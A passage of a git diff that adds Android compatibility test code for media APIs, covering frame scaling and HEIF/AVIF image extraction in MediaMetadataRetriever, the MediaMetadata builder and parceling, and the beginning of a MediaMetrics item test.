+        } catch (Exception e) {
+            fail("Exception getting bitmap: " + e);
+        }
+    }
+
+    /**
+     * The following tests verifies MediaMetadataRetriever.getScaledFrameAtTime behavior.
+     */
+    public void testGetScaledFrameAtTimeWithInvalidResolutions() {
+        String[] resources = {"binary_counter_320x240_30fps_600frames.mp4",
+                "binary_counter_320x240_30fps_600frames_editlist.mp4",
+                "bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz.mp4",
+                "video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp",
+                "video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                "bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm",
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                "bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
+                "video_1280x720_vp9_hdr_static_3mbps.mkv",
+                "video_1280x720_av1_hdr_static_3mbps.webm",
+                "video_1280x720_hevc_hdr10_static_3mbps.mp4"};
+        int[][] resolutions = {{0, 120}, {-1, 0}, {-1, 120}, {140, -1}, {-1, -1}};
+        int[] options =
+                {OPTION_CLOSEST, OPTION_CLOSEST_SYNC, OPTION_NEXT_SYNC, OPTION_PREVIOUS_SYNC};
+
+        for (String res : resources) {
+            setDataSourceFd(res);
+            if (!MediaUtils.hasCodecForResourceAndDomain(mInpPrefix + res, "video/")
+                    && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+                MediaUtils.skipTest("no video codecs for resource: " + mInpPrefix + res +
+                        " on watch");
+                continue;
+            }
+
+            for (int i = 0; i < resolutions.length; i++) {
+                int width = resolutions[i][0];
+                int height = resolutions[i][1];
+                for (int option : options) {
+                    try {
+                        Bitmap bitmap = mRetriever.getScaledFrameAtTime(
+                                2066666 /*timeUs*/, option, width, height);
+                        fail("Failed to receive exception");
+                    } catch (IllegalArgumentException e) {
+                        // Expect exception
+                    }
+                }
+            }
+        }
+    }
+
+    private void testGetScaledFrameAtTime(int scaleToWidth, int scaleToHeight,
+            int expectedWidth, int expectedHeight, Bitmap.Config config) {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        MediaMetadataRetriever.BitmapParams params = null;
+        Bitmap bitmap = null;
+        if (config != null) {
+            params = new MediaMetadataRetriever.BitmapParams();
+            params.setPreferredConfig(config);
+            bitmap = mRetriever.getScaledFrameAtTime(
+                    2066666 /*timeUs */, OPTION_CLOSEST, scaleToWidth, scaleToHeight, params);
+        } else {
+            bitmap = mRetriever.getScaledFrameAtTime(
+                    2066666 /*timeUs */, OPTION_CLOSEST, scaleToWidth, scaleToHeight);
+        }
+        if (bitmap == null) {
+            fail("Failed to get scaled bitmap");
+        }
+        if (SAVE_BITMAP_OUTPUT) {
+            CodecUtils.saveBitmapToFile(bitmap, String.format("test_%dx%d.jpg",
+                    expectedWidth, expectedHeight));
+        }
+        if (config != null) {
+            assertEquals("Actual config is wrong", config, params.getActualConfig());
+        }
+        assertEquals("Bitmap width is wrong", expectedWidth, bitmap.getWidth());
+        assertEquals("Bitmap height is wrong", expectedHeight, bitmap.getHeight());
+    }
+
+    public void testGetScaledFrameAtTime() {
+        String res = "binary_counter_320x240_30fps_600frames.mp4";
+        setDataSourceFd(res);
+        if (!MediaUtils.hasCodecForResourceAndDomain(mInpPrefix + res, "video/")
+            && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+            MediaUtils.skipTest("no video codecs for resource: " + mInpPrefix + res + " on watch");
+            return;
+        }
+
+        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
+
+        // Test desided size of 160 x 120. Return should be 160 x 120
+        testGetScaledFrameAtTime(160, 120, 160, 120, Bitmap.Config.ARGB_8888);
+
+        // Test scaled up bitmap to 640 x 480. Return should be 640 x 480
+        testGetScaledFrameAtTime(640, 480, 640, 480, Bitmap.Config.ARGB_8888);
+
+        // Test scaled up bitmap to 320 x 120. Return should be 160 x 120
+        testGetScaledFrameAtTime(320, 120, 160, 120, Bitmap.Config.RGB_565);
+
+        // Test scaled up bitmap to 160 x 240. Return should be 160 x 120
+        testGetScaledFrameAtTime(160, 240, 160, 120, Bitmap.Config.RGB_565);
+
+        // Test scaled the video with aspect ratio
+        res = "binary_counter_320x240_720x240_30fps_600frames.mp4";
+        setDataSourceFd(res);
+
+        testGetScaledFrameAtTime(330, 240, 330, 110, null);
+    }
+
+    public void testGetImageAtIndex() throws Exception {
+        if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+            MediaUtils.skipTest("no video decoders for HEVC");
+            return;
+        }
+
+        testGetImage("heifwriter_input.heic", 1920, 1080, "image/heif", 0 /*rotation*/,
+                4 /*imageCount*/, 3 /*primary*/, true /*useGrid*/, true /*checkColor*/);
+    }
+
+    public void testGetImageAtIndexAvif() throws Exception {
+        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+        if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) {
+            MediaUtils.skipTest("No AV1 codec for 1080p");
+            return;
+        }
+        testGetImage("sample.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
+                1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/);
+    }
+
+    public void testGetImageAtIndexAvifGrid() throws Exception {
+        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+        if (!MediaUtils.canDecodeVideo("AV1", 512, 512, 30)) {
+            MediaUtils.skipTest("No AV1 codec for 512p");
+            return;
+        }
+        testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
+                1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/);
+    }
+
+    /**
+     * Determines if two color values are approximately equal.
+     */
+    private static boolean approxEquals(Color expected, Color actual) {
+        final float MAX_DELTA = 0.025f;
+        return (Math.abs(expected.red() - actual.red()) <= MAX_DELTA)
+            && (Math.abs(expected.green() - actual.green()) <= MAX_DELTA)
+            && (Math.abs(expected.blue() - actual.blue()) <= MAX_DELTA);
+    }
+
+    private static Rect getColorBarRect(int index, int width, int height) {
+        int barWidth = (width - BORDER_WIDTH * 2) / COLOR_BARS.length;
+        return new Rect(BORDER_WIDTH + barWidth * index, BORDER_WIDTH,
+                BORDER_WIDTH + barWidth * (index + 1), height - BORDER_WIDTH);
+    }
+
+    private static Rect getColorBlockRect(int index, int width, int height) {
+        int blockCenterX = (width / 5) * (index % 4 + 1);
+        return new Rect(blockCenterX - width / 10, height / 6,
+                        blockCenterX + width / 10, height / 3);
+    }
+
+    private void testGetImage(
+            final String res, int width, int height, String mimeType, int rotation,
+            int imageCount, int primary, boolean useGrid, boolean checkColor)
+                    throws Exception {
+        Stopwatch timer = new Stopwatch();
+        MediaExtractor extractor = null;
+        AssetFileDescriptor afd = null;
+        InputStream inputStream = null;
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+
+        try {
+            setDataSourceFd(res);
+
+            // Verify image related meta keys.
+            String hasImage = mRetriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_HAS_IMAGE);
+            assertTrue("No images found in res " + res, "yes".equals(hasImage));
+            assertEquals("Wrong width", width,
+                    Integer.parseInt(mRetriever.extractMetadata(
+                            MediaMetadataRetriever.METADATA_KEY_IMAGE_WIDTH)));
+            assertEquals("Wrong height", height,
+                    Integer.parseInt(mRetriever.extractMetadata(
+                            MediaMetadataRetriever.METADATA_KEY_IMAGE_HEIGHT)));
+            assertEquals("Wrong rotation", rotation,
+                    Integer.parseInt(mRetriever.extractMetadata(
+                            MediaMetadataRetriever.METADATA_KEY_IMAGE_ROTATION)));
+            assertEquals("Wrong image count", imageCount,
+                    Integer.parseInt(mRetriever.extractMetadata(
+                            MediaMetadataRetriever.METADATA_KEY_IMAGE_COUNT)));
+            assertEquals("Wrong primary index", primary,
+                    Integer.parseInt(mRetriever.extractMetadata(
+                            MediaMetadataRetriever.METADATA_KEY_IMAGE_PRIMARY)));
+            assertEquals("Wrong mime type", mimeType,
+                    mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+
+            if (checkColor) {
+                Bitmap bitmap = null;
+                // For each image in the image collection, check the 7 color bars' color.
+                // Also check the position of the color block, which should move left-to-right
+                // with the index.
+                for (int imageIndex = 0; imageIndex < imageCount; imageIndex++) {
+                    timer.start();
+                    bitmap = mRetriever.getImageAtIndex(imageIndex);
+                    assertNotNull("Failed to retrieve image at index " + imageIndex, bitmap);
+                    timer.end();
+                    timer.printDuration("getImageAtIndex");
+
+                    for (int barIndex = 0; barIndex < COLOR_BARS.length; barIndex++) {
+                        Rect r = getColorBarRect(barIndex, width, height);
+                        assertTrue("Color bar " + barIndex +
+                                " for image " + imageIndex + " doesn't match",
+                                approxEquals(COLOR_BARS[barIndex], Color.valueOf(
+                                        bitmap.getPixel(r.centerX(), r.centerY()))));
+                    }
+
+                    Rect r = getColorBlockRect(imageIndex, width, height);
+                    assertTrue("Color block for image " + imageIndex + " doesn't match",
+                            approxEquals(COLOR_BLOCK, Color.valueOf(
+                                    bitmap.getPixel(r.centerX(), height - r.centerY()))));
+                    bitmap.recycle();
+                }
+
+                // Check the color block position on the primary image.
+                Rect r = getColorBlockRect(primary, width, height);
+
+                timer.start();
+                bitmap = mRetriever.getPrimaryImage();
+                timer.end();
+                timer.printDuration("getPrimaryImage");
+
+                assertTrue("Color block for primary image doesn't match",
+                        approxEquals(COLOR_BLOCK, Color.valueOf(
+                                bitmap.getPixel(r.centerX(), height - r.centerY()))));
+                bitmap.recycle();
+
+                // Check the color block position on the bitmap decoded by BitmapFactory.
+                // This should match the primary image as well.
+                inputStream = new FileInputStream(mInpPrefix + res);
+                bitmap = BitmapFactory.decodeStream(inputStream);
+                assertTrue("Color block for bitmap decoding doesn't match",
+                        approxEquals(COLOR_BLOCK, Color.valueOf(
+                                bitmap.getPixel(r.centerX(), height - r.centerY()))));
+                bitmap.recycle();
+            }
+
+            // Check the grid configuration related keys.
+            if (useGrid) {
+                extractor = new MediaExtractor();
+                afd = getAssetFileDescriptorFor(res);
+                extractor.setDataSource(
+                        afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+                MediaFormat format = extractor.getTrackFormat(0);
+                int tileWidth = format.getInteger(MediaFormat.KEY_TILE_WIDTH);
+                int tileHeight = format.getInteger(MediaFormat.KEY_TILE_HEIGHT);
+                int gridRows = format.getInteger(MediaFormat.KEY_GRID_ROWS);
+                int gridCols = format.getInteger(MediaFormat.KEY_GRID_COLUMNS);
+                assertTrue("Wrong tile width or grid cols",
+                        ((width + tileWidth - 1) / tileWidth) == gridCols);
+                assertTrue("Wrong tile height or grid rows",
+                        ((height + tileHeight - 1) / tileHeight) == gridRows);
+            }
+        } catch (IOException e) {
+            fail("Unable to open file");
+        } finally {
+            if (extractor != null) {
+                extractor.release();
+            }
+            if (afd != null) {
+                afd.close();
+            }
+            if (inputStream != null) {
+                inputStream.close();
+            }
+        }
+    }
+
+    private void copyMediaFile() {
+        InputStream inputStream = null;
+        FileOutputStream outputStream = null;
+        Preconditions.assertTestFileExists(mInpPrefix + "testvideo.3gp");
+        String outputPath = new File(
+            Environment.getExternalStorageDirectory(), TEST_MEDIA_FILE).getAbsolutePath();
+        try {
+            inputStream = new FileInputStream(mInpPrefix + "testvideo.3gp");
+            outputStream = new FileOutputStream(outputPath);
+            copy(inputStream, outputStream);
+        } catch (Exception e) {
+
+        }finally {
+            closeQuietly(inputStream);
+            closeQuietly(outputStream);
+        }
+    }
+
+    private int copy(InputStream in, OutputStream out) throws IOException {
+        int total = 0;
+        byte[] buffer = new byte[8192];
+        int c;
+        while ((c = in.read(buffer)) != -1) {
+            total += c;
+            out.write(buffer, 0, c);
+        }
+        return total;
+    }
+
+    private void closeQuietly(Closeable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    private class Stopwatch {
+        private long startTimeMs;
+        private long endTimeMs;
+        private boolean isStartCalled;
+
+        public Stopwatch() {
+            startTimeMs = endTimeMs = 0;
+            isStartCalled = false;
+        }
+
+        public void start() {
+            startTimeMs = System.currentTimeMillis();
+            isStartCalled = true;
+        }
+
+        public void end() {
+            endTimeMs = System.currentTimeMillis();
+            if (!isStartCalled) {
+                Log.e(TAG, "Error: end() must be called after start()!");
+                return;
+            }
+            isStartCalled = false;
+        }
+
+        public void printDuration(String functionName) {
+            long duration = endTimeMs - startTimeMs;
+            Log.i(TAG, String.format("%s() took %d ms.", functionName, duration));
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaMetadataTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaMetadataTest.java
new file mode 100644
index 0000000..9c00be6
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaMetadataTest.java
@@ -0,0 +1,342 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.media.MediaDescription;
+import android.media.MediaMetadata;
+import android.media.Rating;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Parcel;
+import android.text.TextUtils;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Set;
+
+/**
+ * Tests {@link MediaMetadata}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+@NonMediaMainlineTest
+public class MediaMetadataTest {
+
+    @Test
+    public void builder_defaultConstructor_hasNoData() {
+        MediaMetadata metadata = new MediaMetadata.Builder().build();
+
+        assertEquals(0, metadata.size());
+        assertTrue(metadata.keySet().isEmpty());
+    }
+
+    @Test
+    public void builder_putText() {
+        String testTitle = "test_title";
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putText(MediaMetadata.METADATA_KEY_TITLE, testTitle)
+                .build();
+
+        assertTrue(metadata.containsKey(MediaMetadata.METADATA_KEY_TITLE));
+        CharSequence titleOut = metadata.getText(MediaMetadata.METADATA_KEY_TITLE);
+        assertTrue(TextUtils.equals(testTitle, titleOut));
+    }
+
+    @Test
+    public void builder_putString() {
+        String testTitle = "test_title";
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_TITLE, testTitle)
+                .build();
+
+        assertTrue(metadata.containsKey(MediaMetadata.METADATA_KEY_TITLE));
+        String titleOut = metadata.getString(MediaMetadata.METADATA_KEY_TITLE);
+        assertTrue(TextUtils.equals(testTitle, titleOut));
+    }
+
+    @Test
+    public void builder_putLong() {
+        long testYear = 2021;
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putLong(MediaMetadata.METADATA_KEY_YEAR, testYear)
+                .build();
+
+        assertTrue(metadata.containsKey(MediaMetadata.METADATA_KEY_YEAR));
+        long yearOut = metadata.getLong(MediaMetadata.METADATA_KEY_YEAR);
+        assertEquals(testYear, yearOut);
+    }
+
+    @Test
+    public void builder_putRating() {
+        Rating testHeartRating = Rating.newHeartRating(/*hasHeart=*/ true);
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putRating(MediaMetadata.METADATA_KEY_RATING, testHeartRating)
+                .build();
+
+        assertTrue(metadata.containsKey(MediaMetadata.METADATA_KEY_RATING));
+        Rating ratingOut = metadata.getRating(MediaMetadata.METADATA_KEY_RATING);
+        assertEquals(testHeartRating, ratingOut);
+    }
+
+    @Test
+    public void builder_putText_throwsIAE_withNonTextKey() {
+        MediaMetadata.Builder builder = new MediaMetadata.Builder();
+        try {
+            builder.putText(MediaMetadata.METADATA_KEY_YEAR, "test");
+            fail();
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void builder_putString_throwsIAE_withNonTextKey() {
+        MediaMetadata.Builder builder = new MediaMetadata.Builder();
+        try {
+            builder.putString(MediaMetadata.METADATA_KEY_YEAR, "test");
+            fail();
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void builder_putLong_throwsIAE_withNonLongKey() {
+        MediaMetadata.Builder builder = new MediaMetadata.Builder();
+        try {
+            builder.putLong(MediaMetadata.METADATA_KEY_TITLE, 2021);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void builder_putRating_throwsIAE_withNonRatingKey() {
+        Rating testHeartRating = Rating.newHeartRating(/*hasHeart=*/ true);
+        MediaMetadata.Builder builder = new MediaMetadata.Builder();
+        try {
+            builder.putRating(MediaMetadata.METADATA_KEY_TITLE, testHeartRating);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void builder_putBitmap_throwsIAE_withNonBitmapKey() {
+        Bitmap testBitmap = Bitmap.createBitmap(/*width=*/ 16, /*height=*/16,
+                Bitmap.Config.ARGB_8888);
+        MediaMetadata.Builder builder = new MediaMetadata.Builder();
+        try {
+            builder.putBitmap(MediaMetadata.METADATA_KEY_TITLE, testBitmap);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void builder_copyConstructor() {
+        long testYear = 2021;
+        MediaMetadata originalMetadata = new MediaMetadata.Builder()
+                .putLong(MediaMetadata.METADATA_KEY_YEAR, testYear)
+                .build();
+
+        MediaMetadata copiedMetadata = new MediaMetadata.Builder(originalMetadata).build();
+        assertEquals(originalMetadata, copiedMetadata);
+    }
+
+    @Test
+    public void equalsAndHashCode() {
+        String testTitle = "test_title";
+        long testYear = 2021;
+        MediaMetadata originalMetadata = new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_TITLE, testTitle)
+                .putLong(MediaMetadata.METADATA_KEY_YEAR, testYear)
+                .build();
+        MediaMetadata metadataToCompare = new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_TITLE, testTitle)
+                .putLong(MediaMetadata.METADATA_KEY_YEAR, testYear)
+                .build();
+
+        assertEquals(originalMetadata, metadataToCompare);
+        assertEquals(originalMetadata.hashCode(), metadataToCompare.hashCode());
+    }
+
+    @Test
+    public void equalsAndHashCode_ignoreRatingAndBitmap() {
+        Rating testHeartRating = Rating.newHeartRating(/*hasHeart=*/ true);
+        Bitmap testBitmap = Bitmap.createBitmap(/*width=*/ 16, /*height=*/16,
+                Bitmap.Config.ARGB_8888);
+        MediaMetadata originalMetadata = new MediaMetadata.Builder()
+                .putRating(MediaMetadata.METADATA_KEY_RATING, testHeartRating)
+                .putBitmap(MediaMetadata.METADATA_KEY_ART, testBitmap)
+                .build();
+        MediaMetadata emptyMetadata = new MediaMetadata.Builder().build();
+
+        assertEquals(originalMetadata, emptyMetadata);
+        assertEquals(originalMetadata.hashCode(), emptyMetadata.hashCode());
+    }
+
+    @Test
+    public void sizeAndKeySet() {
+        Rating testHeartRating = Rating.newHeartRating(/*hasHeart=*/ true);
+        Bitmap testBitmap = Bitmap.createBitmap(/*width=*/ 16, /*height=*/16,
+                Bitmap.Config.ARGB_8888);
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putRating(MediaMetadata.METADATA_KEY_RATING, testHeartRating)
+                .putBitmap(MediaMetadata.METADATA_KEY_ART, testBitmap)
+                .build();
+
+        assertEquals(2, metadata.size());
+        Set<String> keySet = metadata.keySet();
+        assertEquals(2, keySet.size());
+        assertTrue(keySet.contains(MediaMetadata.METADATA_KEY_RATING));
+        assertTrue(keySet.contains(MediaMetadata.METADATA_KEY_ART));
+    }
+
+    @Test
+    public void describeContents() {
+        long testYear = 2021;
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putLong(MediaMetadata.METADATA_KEY_YEAR, testYear)
+                .build();
+
+        assertEquals(0, metadata.describeContents());
+    }
+
+    @Test
+    public void writeToParcel() {
+        String testTitle = "test_title";
+        long testYear = 2021;
+        MediaMetadata originalMetadata = new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_TITLE, testTitle)
+                .putLong(MediaMetadata.METADATA_KEY_YEAR, testYear)
+                .build();
+
+        Parcel parcel = Parcel.obtain();
+        originalMetadata.writeToParcel(parcel, 0 /* flags */);
+        parcel.setDataPosition(0);
+        MediaMetadata metadataOut = MediaMetadata.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+
+        assertEquals(originalMetadata, metadataOut);
+    }
+
+    @Test
+    public void getDescription() {
+        String testMediaId = "media_id";
+        String testTitle = "test_title";
+        String testSubtitle = "test_subtitle";
+        String testDescription = "test_description";
+        Bitmap testIcon = Bitmap.createBitmap(/*width=*/ 16, /*height=*/16,
+                Bitmap.Config.ARGB_8888);
+        String testMediaUri = "https://www.google.com";
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_MEDIA_ID, testMediaId)
+                .putString(MediaMetadata.METADATA_KEY_DISPLAY_TITLE, testTitle)
+                .putString(MediaMetadata.METADATA_KEY_DISPLAY_SUBTITLE, testSubtitle)
+                .putString(MediaMetadata.METADATA_KEY_DISPLAY_DESCRIPTION, testDescription)
+                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, testIcon)
+                .putString(MediaMetadata.METADATA_KEY_MEDIA_URI, testMediaUri)
+                .build();
+
+        MediaDescription mediaDescription = metadata.getDescription();
+        assertTrue(TextUtils.equals(testMediaId, mediaDescription.getMediaId()));
+        assertTrue(TextUtils.equals(testTitle, mediaDescription.getTitle()));
+        assertTrue(TextUtils.equals(testSubtitle, mediaDescription.getSubtitle()));
+        assertTrue(TextUtils.equals(testDescription, mediaDescription.getDescription()));
+        assertNotNull(mediaDescription.getIconBitmap());
+        assertTrue(TextUtils.equals(testMediaUri, mediaDescription.getMediaUri().toString()));
+    }
+
+    @Test
+    public void getBitmapDimensionLimit_returnsIntegerMaxWhenNotSet() {
+        MediaMetadata metadata = new MediaMetadata.Builder().build();
+        assertEquals(Integer.MAX_VALUE, metadata.getBitmapDimensionLimit());
+    }
+
+    @Test
+    public void builder_setBitmapDimensionLimit_bitmapsAreScaledDown() {
+        // A large bitmap (64MB).
+        final int originalWidth = 4096;
+        final int originalHeight = 4096;
+        Bitmap testBitmap = Bitmap.createBitmap(
+                originalWidth, originalHeight, Bitmap.Config.ARGB_8888);
+
+        final int testBitmapDimensionLimit = 16;
+
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, testBitmap)
+                .setBitmapDimensionLimit(testBitmapDimensionLimit)
+                .build();
+        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
+
+        Bitmap scaledDownBitmap = metadata.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART);
+        assertNotNull(scaledDownBitmap);
+        assertTrue(scaledDownBitmap.getWidth() <= testBitmapDimensionLimit);
+        assertTrue(scaledDownBitmap.getHeight() <= testBitmapDimensionLimit);
+    }
+
+    @Test
+    public void builder_setBitmapDimensionLimit_bitmapsAreNotScaledDown() {
+        // A small bitmap.
+        final int originalWidth = 16;
+        final int originalHeight = 16;
+        Bitmap testBitmap = Bitmap.createBitmap(
+                originalWidth, originalHeight, Bitmap.Config.ARGB_8888);
+
+        // The limit is larger than the width/height.
+        final int testBitmapDimensionLimit = 256;
+
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, testBitmap)
+                .setBitmapDimensionLimit(testBitmapDimensionLimit)
+                .build();
+        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
+
+        Bitmap notScaledDownBitmap = metadata.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART);
+        assertNotNull(notScaledDownBitmap);
+        assertEquals(originalWidth, notScaledDownBitmap.getWidth());
+        assertEquals(originalHeight, notScaledDownBitmap.getHeight());
+    }
+
+    @Test
+    public void builder_setMaxBitmapDimensionLimit_unsetLimit() {
+        final int testBitmapDimensionLimit = 256;
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .setBitmapDimensionLimit(testBitmapDimensionLimit)
+                .build();
+        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
+
+        // Using copy constructor, unset the limit by passing Integer.MAX_VALUE to the limit.
+        MediaMetadata copiedMetadataWithLimitUnset = new MediaMetadata.Builder()
+                .setBitmapDimensionLimit(Integer.MAX_VALUE)
+                .build();
+        assertEquals(Integer.MAX_VALUE, copiedMetadataWithLimitUnset.getBitmapDimensionLimit());
+    }
+
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaMetricsTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaMetricsTest.java
new file mode 100644
index 0000000..5120922
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaMetricsTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.media.MediaMetrics;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Bundle;
+import android.os.Process;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for MediaMetrics item handling.
+ */
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class MediaMetricsTest {
+
+    /**
+     * This tests MediaMetrics item creation.
+     */
+    @Test
+    public void testBasicItem() {
+        final String key = "Key";
+        final MediaMetrics.Item item = new MediaMetrics.Item(key);
+
+        item.putInt("int", (int) 1)
+            .putLong("long", (long) 2)
+            .putString("string", "ABCD")
+            .putDouble("double", (double) 3.1);
+
+        // Verify what is in the item by converting to a bundle.
+        // This uses special MediaMetrics.Item APIs for CTS test.
+        // The BUNDLE_* string keys represent internal Item data to be verified.
+        final Bundle bundle = item.toBundle();
+
+        assertEquals(1, bundle.getInt("int"));
+        assertEquals(2, bundle.getLong("long"));
+        assertEquals("ABCD", bundle.getString("string"));
+        assertEquals(3.1, bundle.getDouble("double"), 1e-6 /* delta */);
+
+        assertEquals("Key", bundle.getString(MediaMetrics.Item.BUNDLE_KEY));
+        assertEquals(-1, bundle.getInt(MediaMetrics.Item.BUNDLE_PID));  // default PID
+        assertEquals(-1, bundle.getInt(MediaMetrics.Item.BUNDLE_UID));  // default UID
+        assertEquals(0, bundle.getChar(MediaMetrics.Item.BUNDLE_VERSION));
+        assertEquals(key.length() + 1, bundle.getChar(MediaMetrics.Item.BUNDLE_KEY_SIZE));
+        assertEquals(0, bundle.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP)); // default Time
+        assertEquals(4, bundle.getInt(MediaMetrics.Item.BUNDLE_PROPERTY_COUNT));
+    }
+
+    /**
+     * This tests MediaMetrics item buffer expansion when the initial buffer capacity is set to 1.
+     */
+    @Test
+    public void testBigItem() {
+        final String key = "Key";
+        final int intKeyCount = 10000;
+        final MediaMetrics.Item item = new MediaMetrics.Item(
+                key, 1 /* pid */, 2 /* uid */, 3 /* time */, 1 /* capacity */);
+
+        item.putInt("int", (int) 1)
+            .putLong("long", (long) 2)
+            .putString("string", "ABCD")
+            .putDouble("double", (double) 3.1);
+
+        // Putting 10000 int properties forces the item to reallocate the buffer several times.
+        for (Integer i = 0; i < intKeyCount; ++i) {
+            item.putInt(i.toString(), i);
+        }
+
+        // Verify what is in the item by converting to a bundle.
+        // This uses special MediaMetrics.Item APIs for CTS test.
+        // The BUNDLE_* string keys represent internal Item data to be verified.
+        final Bundle bundle = item.toBundle();
+
+        assertEquals(1, bundle.getInt("int"));
+        assertEquals(2, bundle.getLong("long"));
+        assertEquals("ABCD", bundle.getString("string"));
+        assertEquals(3.1, bundle.getDouble("double"), 1e-6 /* delta */);
+
+        assertEquals(key, bundle.getString(MediaMetrics.Item.BUNDLE_KEY));
+        assertEquals(1, bundle.getInt(MediaMetrics.Item.BUNDLE_PID));
+        assertEquals(2, bundle.getInt(MediaMetrics.Item.BUNDLE_UID));
+        assertEquals(0, bundle.getChar(MediaMetrics.Item.BUNDLE_VERSION));
+        assertEquals(key.length() + 1, bundle.getChar(MediaMetrics.Item.BUNDLE_KEY_SIZE));
+        assertEquals(3, bundle.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP));
+
+        for (Integer i = 0; i < intKeyCount; ++i) {
+            assertEquals((int) i, bundle.getInt(i.toString()));
+        }
+
